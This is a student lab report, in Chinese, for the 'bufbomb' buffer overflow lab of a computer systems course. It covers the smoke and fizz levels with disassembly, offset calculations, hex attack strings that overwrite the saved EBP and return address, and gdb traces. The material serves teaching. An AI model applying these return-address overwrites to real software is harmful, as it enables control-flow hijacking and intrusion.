实验5

班级：
姓名：
学号：

实验内容：
1 缓冲区溢出攻击实验的内容、原理、方法和基本步骤；
2 过程调用的机器级表示、栈帧组成结构、缓冲区溢出等知识的回顾与应用。

实验目标：
1 加深对函数调用规则、栈结构、缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握；
2 从程序员角度认识计算机系统，将程序设计、汇编语言、系统结构、操作系统、编译链接中的重要概念贯穿起来，对指令在硬件上的执行过程和指令的底层硬件执行机制有深入的理解；能够以需求分析为基础，对计算机系统模块或单元进行操作。
3 掌握各种开源的编译调试工具。

实验任务：
1 学习 MOOC 内容
https://www.icourse163.org/learn/NJU-1449521162
第六周 缓冲区溢出攻击
第 1 讲 缓冲区溢出攻击实验：概述
第 2 讲 缓冲区溢出攻击实验：目标程序与辅助工具
第 3 讲 缓冲区溢出攻击实验：Level 0
第 4 讲 缓冲区溢出攻击实验：Level 1 及课后实验

2 完成实验
详见缓冲区溢出攻击实验文档
2.1 第一关 smoke
2.1.1 程序代码
getbuf函数汇编代码

```
08049c3e <getbuf>:
 8049c3e:       55                      push   %ebp
 8049c3f:       89 e5                   mov    %esp,%ebp
 8049c41:       83 ec 68                sub    $0x68,%esp
 8049c44:       83 ec 0c                sub    $0xc,%esp
 8049c47:       8d 45 99                lea    -0x67(%ebp),%eax
 8049c4a:       50                      push   %eax
 8049c4b:       e8 b9 fa ff ff          call   8049709 <Gets>
 8049c50:       83 c4 10                add    $0x10,%esp
 8049c53:       b8 01 00 00 00          mov    $0x1,%eax
 8049c58:       c9                      leave
 8049c59:       c3                      ret
```

可以看出，buf缓冲区开始于栈帧中地址EBP-0x67处, 0x67=103。
getbuf函数结束后，即执行最后的ret指令时，将取出保存于test函数栈帧中的返回地址并跳转至它继续执行。
假设:
将返回地址的值改为本级别实验的目标smoke函数的首条指令的地址，则getbuf函数返回时，就会跳转到smoke函数执行，即达到了实验的目标。
返回地址的保存地址与缓冲区的起始地址之间相差: 0x67 +4= 107个字节。
也就是说，如果向缓冲区中写107个字节后，再写入的4个字节，将改写返回地址的值。

2.2.2 求解思路
将攻击字符串中自第107个字节开始的4个字节设置为实验的目标跳转地址，即smoke函数首

条指令的地址。
搜索bufbomb的反汇编代码，可以发现smoke函数的首条指令的地址为0x80493d5。

```
080493d5 <smoke>:
 80493d5:       55                      push   %ebp
 80493d6:       89 e5                   mov    %esp,%ebp
```

因此设计如下攻击字符串：

```
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66
d5 93 04 08
```

其中，前103字节用于填充缓冲区，与实验目标无关，可以随意设置。
接下来的四个字节改写了栈中保存的ebp的旧值，也与实验无关.
最后四个字节用于保存栈帧中保存的返回地址，因此设置为smoke函数的首条指令的地址，按照IA-32平台小端顺序方式存放。
这样当攻击字符串被Gets函数写入缓冲区后，栈帧中保存的返回地址将被修改为指向smoke函数。这样，当getbuf函数结束后，将跳转至函数smoke执行，从而实现了实验目标。
接下来使用gdb观察攻击过程。
找到getbuf函数中call函数位于的位置，在调用Gets函数的call指令前后各设置一个断点，以查看getbuf函数和test函数的栈帧是否发生变化。
找到test函数的汇编代码：

```
08049571 <test>:
 8049571:       55                      push   %ebp
 8049572:       89 e5                   mov    %esp,%ebp
 8049574:       83 ec 18                sub    $0x18,%esp
 8049577:       e8 4c 04 00 00          call   80499c8 <uniqueval>
 804957c:       89 45 f0                mov    %eax,-0x10(%ebp)
 804957f:       e8 ba 06 00 00          call   8049c3e <getbuf>
 8049584:       89 45 f4                mov    %eax,-0xc(%ebp)
 8049587:       e8 3c 04 00 00          call   80499c8 <uniqueval>
 804958c:       89 c2                   mov    %eax,%edx
 804958e:       8b 45 f0                mov    -0x10(%ebp),%eax
```

可知，bufbomb正常执行时,test函数调用getbuf函数时，正常的返回地址应是0x8049584。
接下来，使用hex2raw把smoke.txt里的攻击字符串转化为实际的攻击字符串，然后进入gdb调试，在getbuf函数中,调用Gets函数读入攻击字符串之前的一条指令和之后的一条指令分别设置一个断点

```
(gdb) b *0x8049c4a
Breakpoint 1 at 0x8049c4a
(gdb) b *0x8049c50
Breakpoint 2 at 0x8049c50
(gdb) r -u 123456789 < smoke-raw.txt
Starting program: /home/sanfenbai/Desktop/计算机系统/课程设计/溢出攻击/bufbomb -u 123456789 < smoke-raw.txt
Userid: 123456789
Cookie: 0x25e1304b

Breakpoint 1, 0x08049c4a in getbuf ()
```

程序成功进入第一个断点，即执行call指令之前。此时输出ebp寄存器的值，得到函数的返回地址(ebp+4)。

```
Breakpoint 1, 0x08049c4a in getbuf ()
(gdb) print $ebp
$1 = (void *) 0x55683500 <_reserved+1033472>
(gdb) x/xw 0x55683504
0x55683504 <_reserved+1033476>: 0x08049584
```

可见此时程序的返回值是正常情况下执行test函数中用call getbuf函数的指令之后的下条指令的地址。
然后继续执行程序，程序来到第二个断点，即执行getbuf之后的下一条指令，再次查看返回地址可以发现其已经被修改，修改后的值即为smoke函数的第一条指令的地址。

```
0x55683504 <_reserved+1033476>: 0x08049584
(gdb) c
Continuing.

Breakpoint 2, 0x08049c50 in getbuf ()
(gdb) x/xw 0x55683504
0x55683504 <_reserved+1033476>: 0x080493d5
(gdb) c
Continuing.
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
[Inferior 1 (process 3799) exited normally]
```

然后继续执行程序，程序按照修改后的指令进行跳转，成功进入smoke函数，缓冲区溢出攻击成功。

2.1.3 结果分析与讨论

```
sanfenbai@ubuntu:~/Desktop/计算机系统/课程设计/溢出攻击$ cat smoke.txt | ./hex2raw | ./bufbomb -u
 123456789
Userid: 123456789
Cookie: 0x25e1304b
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```

2.2 第二关 fizz

2.2.1 程序代码

fizz函数汇编代码

```
08049402 <fizz>:
 8049402:       55                      push   %ebp
 8049403:       89 e5                   mov    %esp,%ebp
 8049405:       83 ec 08                sub    $0x8,%esp
 8049408:       8b 55 08                mov    0x8(%ebp),%edx
 804940b:       a1 a0 d1 04 08          mov    0x804d1a0,%eax
 8049410:       39 c2                   cmp    %eax,%edx
 8049412:       75 22                   jne    8049436 <fizz+0x34>
 8049414:       83 ec 08                sub    $0x8,%esp
 8049417:       ff 75 08                pushl  0x8(%ebp)
 804941a:       68 62 b0 04 08          push   $0x804b062
 804941f:       e8 3c fc ff ff          call   8049060 <printf@plt>
 8049424:       83 c4 10                add    $0x10,%esp
 8049427:       83 ec 0c                sub    $0xc,%esp
 804942a:       6a 01                   push   $0x1
 804942c:       e8 8a 09 00 00          call   8049dbb <validate>
 8049431:       83 c4 10                add    $0x10,%esp
 8049434:       eb 13                   jmp    8049449 <fizz+0x47>
 8049436:       83 ec 08                sub    $0x8,%esp
 8049439:       ff 75 08                pushl  0x8(%ebp)
 804943c:       68 80 b0 04 08          push   $0x804b080
 8049441:       e8 1a fc ff ff          call   8049060 <printf@plt>
 8049446:       83 c4 10                add    $0x10,%esp
 8049449:       83 ec 0c                sub    $0xc,%esp
 804944c:       6a 00                   push   $0x0
 804944e:       e8 dd fc ff ff          call   8049130 <exit@plt>
```

分析可知，fizz函数需要一个输入参数val ,并且其值应等于makecookie程序基于userid返回的cookie值。

图中的cmp函数实现了eax和edx的比较，即0x804d1a0 和ebp + 8的比较。分析知，地址0x804d1a0处存储的是全局变量cookie的值。为了使两个值相等 即ebp + 8= 0x804d1a0，可得：ebp = 0x804d198。

2.2.2 求解思路

1.在攻击字符串中对应EBP旧值的保存位置处,放上前面分析得出的EBP修改的目标值，以使getbuf函数结束前的leave指令将其设置到EBP寄存器中。

2.在攻击字符串中对应返回地址的位置处，放上fizz函数中合适指令的地址，以使getbuf函数结束后跳转到该地址处执行。

在汇编代码中找到mov指令的地址为：0x08049408。

然后利用上述信息，结合第一关中获得的缓冲区大小即可构造字符串如下：

```
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22
98 d1 04 08
08 94 04 08
```

其中，前103字节用于填充缓冲区，与实验目标无关，可以随意设置。
接下来的四个字节改写了栈中保存的ebp的旧值，设置为满足比较条件的值。
最后四个字节用于保存栈帧中保存的返回地址，这里设置为fizz函数的mov指令的地址，按照IA-32平台小端顺序方式存放。
这样当攻击字符串被Gets函数写入缓冲区后，栈帧中保存的返回地址将被修改为指向fizz函数。这样，当getbuf函数结束后，将跳转至函数fizz执行，从而实现了实验目标。

启动gdb调试，在getbuf函数中,调用Gets函数读入攻击字符串之前的一条指令和之后的一条指令分别设置一个断点。运行程序，程序成功进入第一个断点，即执行call指令之前。此时输出ebp寄存器的值，得到函数的返回地址(ebp+4)。

```
(gdb) b *0x8049c4a
Breakpoint 1 at 0x8049c4a
(gdb) b *0x8049c50
Breakpoint 2 at 0x8049c50
(gdb) r -u 123456789 < fizz-raw.txt
Starting program: /home/sanfenbai/Desktop/计算机系统/课程设计/溢出攻击/bufbomb -
u 123456789 < fizz-raw.txt
Userid: 123456789
Cookie: 0x25e1304b

Breakpoint 1, 0x08049c4a in getbuf ()
(gdb) i r ebp
ebp            0x55683500       0x55683500 <_reserved+1033472>
```

该地址处存放getbuf函数的调用函数test里的ebp寄存器的旧值。查看该旧值：

```
(gdb) i r ebp
ebp            0x55683500       0x55683500 <_reserved+1033472>
(gdb) x/xw 0x55683500
0x55683500 <_reserved+1033472>: 0x55683520
```

再查看ebp+4地址上的值，即执行完call指令后会返回到的地方。

```
(gdb) x/xw 0x556835043
0x56835043:     Cannot access memory at address 0x56835043
(gdb) x/xw 0x55683504
0x55683504 <_reserved+1033476>: 0x08049584
```

可见此时程序的返回值是正常情况下执行test函数中用call getbuf函数的指令之后的下条指令的地址。
然后继续执行程序，程序来到第二个断点，即执行getbuf之后的下一条指令，再次查看返回地址可以发现其已经被修改，修改后的值即为smoke函数的第一条指令的地址，并且存储了ebp旧值的存储单元的值已被改写。

```
(gdb) c
Continuing.

Breakpoint 2, 0x08049c50 in getbuf ()
(gdb) x/xw 0x55683500
0x55683500 <_reserved+1033472>: 0x0804d198
(gdb) x/xw 0x55683504
0x55683504 <_reserved+1033476>: 0x08049408
```

继续执行程序，程序按照修改后的指令进行跳转，成功进入fizz函数，缓冲区溢出攻击成功。

```
0x55683504 <_reserved+1033476>: 0x08049408
(gdb) c
Continuing.
Type string:Fizz!: You called fizz(0x25e1304b)
VALID
NICE JOB!
[Inferior 1 (process 3932) exited normally]
```

2.2.3 结果讨论与分析

```
sanfenbai@ubuntu:~/Desktop/计算机系统/课程设计/溢出攻击$ cat fizz.txt | ./hex2ra
w | ./bufbomb -u 123456789
Userid: 123456789
Cookie: 0x25e1304b
Type string:Fizz!: You called fizz(0x25e1304b)
VALID
NICE JOB!
```